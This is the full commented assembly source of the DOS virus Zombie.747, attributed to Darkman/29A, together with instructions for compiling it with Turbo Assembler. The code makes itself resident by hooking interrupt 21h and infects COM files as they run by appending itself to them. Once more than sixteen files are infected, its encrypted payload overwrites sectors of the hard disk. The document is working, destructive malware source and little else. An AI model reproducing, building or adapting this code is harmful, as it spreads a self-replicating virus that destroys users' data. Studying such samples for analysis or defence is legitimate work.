home *** CD-ROM | disk | FTP | other *** search
- Zombie.747
- Disassembly by
- Darkman/29A
-
- Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
- load and execute program, except COMMAND.COM, by appending the virus to the
- infected COM file.
-
- To compile Zombie.747 with Turbo Assembler v 4.0 type:
- TASM /M ZOMBI747.ASM
- TLINK /t /x ZOMBI747.OBJ
- *
-
- .model tiny
- .code
- org 100h ; Origin of Zombie.747
-
- code_begin:
- call crypt_virus
-
- nop
- nop
- nop
- nop
- nop
- virus_begin:
- call delta_offset
- delta_offset:
- pop bp ; Load BP from stack
- sub bp,03h ; BP = delta offset
-
- jmp virus_begin_
- stack_end:
- stack_ db 7ah dup(?) ; Stack
- stack_begin:
- int21_addr dd ? ; Address of interrupt 21h
- virus_seg dw ? ; Segment of virus
- stack_seg dw ? ; Stack segment
- stack_ptr dw ? ; Stack pointer
- infect_off dw offset infect_file-offset virus_begin
- infect_mark db 04h dup(?) ; infection mark
- infect_count dw ? ; Infection counter
- virus_offset equ word ptr $+01h ; Offset of virus
- infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
- origin_code db 0cdh,20h,? ; Original code of infected file
- code_begin_ dw 100h ; Offset of beginning of code
-
- int21_virus proc near ; Interrupt 21h of Zombie.747
- pushf ; Save flags at stack
- cmp ax,4b00h ; Load and execute program?
- je load_and_exe ; Equal? Jump to load_and_exe
-
- cmp ax,4b69h ; Zombie.747 function?
- je virus_functi ; Equal? Jump to virus_functi
- popf ; Load flags from stack
-
- jmp dword ptr cs:[offset int21_addr-offset virus_begin]
- endp
- virus_functi:
- mov bx,ax ; Already resident
-
- popf ; Load flags from stack
-
- iret ; Interrupt return!
- load_and_exe:
- mov cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin
-
- call setup_stack
-
- popf ; Load flags from stack
-
- jmp dword ptr cs:[offset int21_addr-offset virus_begin]
-
- setup_stack proc near ; Setup stack of the virus
- mov cs:[offset stack_seg-offset virus_begin],ss
- mov cs:[offset stack_ptr-offset virus_begin],sp
-
- mov ss,cs:[offset virus_seg-offset virus_begin]
- mov sp,offset stack_begin-offset virus_begin
-
- push ax bx cx dx es ds si di bp
-
- call cs:[offset infect_off-offset virus_begin]
-
- cmp word ptr cs:[offset infect_count-offset virus_begin],10h
- jbe load_stack ; Below or equal? Jump to load_stack
-
- call payload
- load_stack:
- pop bp di si ds es dx cx bx ax
-
- mov ss,cs:[offset stack_seg-offset virus_begin]
- mov sp,cs:[offset stack_ptr-offset virus_begin]
-
- ret ; Return!
- endp
-
- payload proc near ; Payload of the virus
- mov si,offset crypt_begin-offset virus_begin
- mov cx,(crypt_end-crypt_begin)
- decrypt_loop:
- not byte ptr [si] ; Decrypt a byte
-
- inc si ; Increase index register
-
- loop decrypt_loop
- crypt_begin:
- mov ax,303h ; Write disk sector(s)
- db 31h,0dbh ; XOR BX,BX
- mov es,bx ; ES:BX = pointer to data buffer
- mov cx,02h ; CX = sector- and cylinder number
- mov dx,80h ; DX = drive- and head number
- int 13h
- crypt_end:
- mov si,offset crypt_begin-offset virus_begin
- mov cx,(crypt_end-crypt_begin)
- encrypt_loop:
- not byte ptr [si] ; Encrypt a byte
-
- inc si ; Increase index register
-
- loop encrypt_loop
-
- ret ; Return!
- endp
-
- examine_file proc near ; Examine file
- cld ; Clear direction flag
- find_dot:
- lodsb ; AL = byte of filename
- cmp al,'.' ; Found the dot in the filename
- je examine_fil_ ; Equal? Jump to examine_fil_
-
- or al,al ; End of filename?
- loopnz find_dot ; Not zero? Jump to find_dot
- jz examine_exit ; Zero? Jump to examine_exit
- examine_fil_:
- mov ax,[si-06h] ; AX = word of filename
- or ax,2020h ; Lowcase word of filename
- cmp ax,'mm' ; COMMAND.COM?
- je examine_exit ; Equal? Jump to examine_exit
-
- lodsw ; AX = word of extension
- or ax,2020h ; Lowcase word of extension
- cmp ax,'oc' ; Correct extension?
- jne examine_exit ; Not equal? Jump to examine_exit
-
- lodsb ; AL = byte of extension
- or al,20h ; Lowcase byte of extension
- cmp al,'m' ; Correct extension?
- jne examine_exit ; Not equal? Jump to examine_exit
-
- clc ; Clear carry flag
-
- ret ; Return!
- examine_exit:
- stc ; Set carry flag
-
- ret ; Return!
- endp
-
- set_file_pos proc near ; Set current file position
- xor cx,cx ; Zero CX
- or dx,dx ; Zero DX?
- jns set_file_po_ ; Positive? Jump to set_file_po_
-
- not cx ; Invert each bit of low-order wor...
- set_file_po_:
- mov ah,42h ; Set current file position
- int 21h
-
- ret ; Return!
- endp
-
- infect_file proc near ; Infect COM file
- mov si,dx ; SI = offset of filename
- call examine_file
- jnc open_file ; No error? Jump to open_file
-
- jmp infect_exit_
- open_file:
- mov ax,3d02h ; Open file (read/write)
- int 21h
- jnc read_file ; No error? Jump to read_file
-
- jmp infect_exit_
- read_file:
- mov bx,ax ; BX = file handle
-
- mov dx,cs ; DX = code segment
- mov ds,dx ; DS " " "
-
- mov ah,3fh ; Read from file
- mov cx,03h ; Read three bytes
- mov dx,offset origin_code-offset virus_begin
- int 21h
- jnc examine_mark ; No error? Jump to examine_mark
-
- jmp close_file
- examine_mark:
- mov dx,-28h ; DX = low-order word of offset fr...
- mov al,02h ; Set current file position (EOF)
- call set_file_pos
- jc close_file ; Error? Jump to close_file
-
- nop
- nop
- nop
-
- mov ah,3fh ; Read from file
- mov cx,04h ; Read four bytes
- mov dx,offset infect_mark-offset virus_begin
- int 21h
- jc close_file ; Error? Jump to close_file
-
- nop
- nop
- nop
-
- cmp word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
- jne calc_offset ; Not equal? Jump to calc_offset
-
- nop
- nop
- nop
-
- cmp word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
- je close_file ; Previosly infected? Jump to clos...
-
- nop
- nop
- nop
- calc_offset:
- xor dx,dx ; Zero DX
- mov al,02h ; Set current file position (EOF)
- call set_file_pos
- jc close_file ; Error? Jump to close_file
-
- nop
- nop
- nop
-
- sub ax,03h ; AX = offset of virus
- mov ds:[offset virus_offset-offset virus_begin],ax
-
- mov ax,5700h ; Get file's date and time
- int 21h
- push cx dx ; Save registers at stack
-
- mov ah,40h ; Write to file
- mov cx,(code_end-virus_begin)
- xor dx,dx ; Zero DX
- int 21h
- jc infect_exit ; Error? Jump to infect_exit
-
- nop
- nop
- nop
-
- cmp cx,ax ; Written all of the virus?
- jne infect_exit ; Not equal? Jump to infect_exit
-
- nop
- nop
- nop
-
- mov al,00h ; Set current file position (SOF)
- xor dx,dx ; Zero DX
- call set_file_pos
- jc infect_exit ; Error? Jump to infect_exit
-
- nop
- nop
- nop
-
- mov ah,40h ; Write to file
- mov cx,03h ; Write three bytes
- mov dx,offset infect_code-offset virus_begin
- int 21h
- jc infect_exit ; Error? Jump to infect_exit
-
- nop
- nop
- nop
- infect_exit:
- inc word ptr cs:[offset infect_count-offset virus_begin]
-
- mov ax,5701h ; Set file's date and time
- pop dx cx ; Load registers from stack
- int 21h
- close_file:
- mov ah,3eh ; Close file
- int 21h
- infect_exit_:
- ret ; Return!
- endp
-
- get_psp_own proc near ; Get PSP segment of owner or spec...
- mov ah,52h ; Get list of lists
- int 21h
- mov bx,es:[bx-02h] ; BX = segment of first memory con...
-
- mov es,bx ; ES = " " " " "
- mov bx,es:[01h] ; BX = PSP segment of owner or spe...
-
- ret ; Return!
- endp
-
- allocate_mem proc near ; Allocate memory
- push es ; Save ES at stack
-
- mov ax,cs ; AX = segment of PSP for current ...
- dec ax ; AX = segment of Memory Control B...
- mov es, ax ; ES = " " " " "
-
- mov bx,es:[03h] ; BX = size of memory block in par...
- pop es ; Load ES from stack
-
- sub bx,cx ; Subtract number of paragraphs to...
- dec bx ; BX = new size in paragraphs
- mov ah,4ah ; Resize memory block
- int 21h
- jc allocat_exit ; Error? Jump to allocat_exit
-
- nop
- nop
- nop
-
- mov ah,48h ; Allocate memory
- mov bx,cx ; BX = number of paragraphs to all...
- int 21h
- jc allocat_exit ; Error? Jump to allocat_exit
-
- nop
- nop
- nop
-
- push ax ; Save AX at stack
- dec ax ; AX = segment of Memory Control B...
- mov es,ax ; ES = " " " " "
-
- push es ; Save ES at stack
- call get_psp_own
- pop es ; Load ES from stack
-
- mov es:[01h],bx ; Store PSP segment of owner or sp...
- pop es ; Load ES from stack
-
- clc ; Clear carry flag
- allocat_exit:
- ret ; Return!
- endp
- virus_begin_:
- mov ax,4b69h ; Zombie.747 function
- xor bx,bx ; Zero BX
- int 21h
- cmp bx,4b69h ; Already resident?
- je virus_exit ; Equal? Jump to virus_exit
-
- nop
- nop
- nop
-
- mov cx,(data_end-virus_begin+0fh)/10h
- call allocate_mem
- jc virus_exit ; Error? Jump to virus_exit
-
- nop
- nop
- nop
-
- mov si,bp ; SI = delta offset
- xor di,di ; Zero DI
- mov cx,(code_end-virus_begin)
- cld ; Clear direction flag
- rep movsb ; Move virus to top of memory
-
- mov es:[offset virus_seg-offset virus_begin],es
-
- push es ; Save ES at stack
- mov ax,3521h ; Get interrupt vector 21h
- int 21h
- mov dx,es ; DX = segment of interrupt 21h
- pop es ; Load ES from stack
-
- mov word ptr es:[offset int21_addr-offset virus_begin],bx
- mov word ptr es:[offset int21_addr+02h-offset virus_begin],dx
-
- mov ax,2521h ; Set interrupt vector 21h
-
- push es ; Save ES at stack
- pop ds ; Load DS from stack (ES)
-
- mov dx,offset int21_virus-offset virus_begin
- int 21h
- virus_exit:
- mov ax,cs ; AX = segment of PSP for current ...
- mov ds,ax ; DS = " " " " " "
- mov es,ax ; ES = " " " " " "
-
- lea si,origin_code ; SI = offset of origin_code
- sub si,offset virus_begin
- add si,bp ; Add delta offset to offset of co...
-
- mov di,100h ; DI = offset of beginning of code
- mov cx,03h ; Move three bytes
- cld ; Clear direction flag
- rep movsb ; Move the original code to beginning
-
- lea bx,code_begin_ ; BX = offset of code_begin_
- sub bx,offset virus_begin
- add bx,bp ; Add delta offset to offset of co...
-
- jmp [bx]
-
- db 'Zombie - Danish woodoo hackers (14AUG91)'
- code_end:
- data_end:
- crypt_virus proc ; Encrypt payload of the virus
- lea si,crypt_begin ; SI = offset of crypt_begin
- mov cx,(crypt_end-crypt_begin)
- crypt_loop:
- not byte ptr [si] ; Encrypt a byte
-
- inc si ; Increase index register
-
- loop crypt_loop
-
- ret ; Return!
- endp
-
- end code_begin
-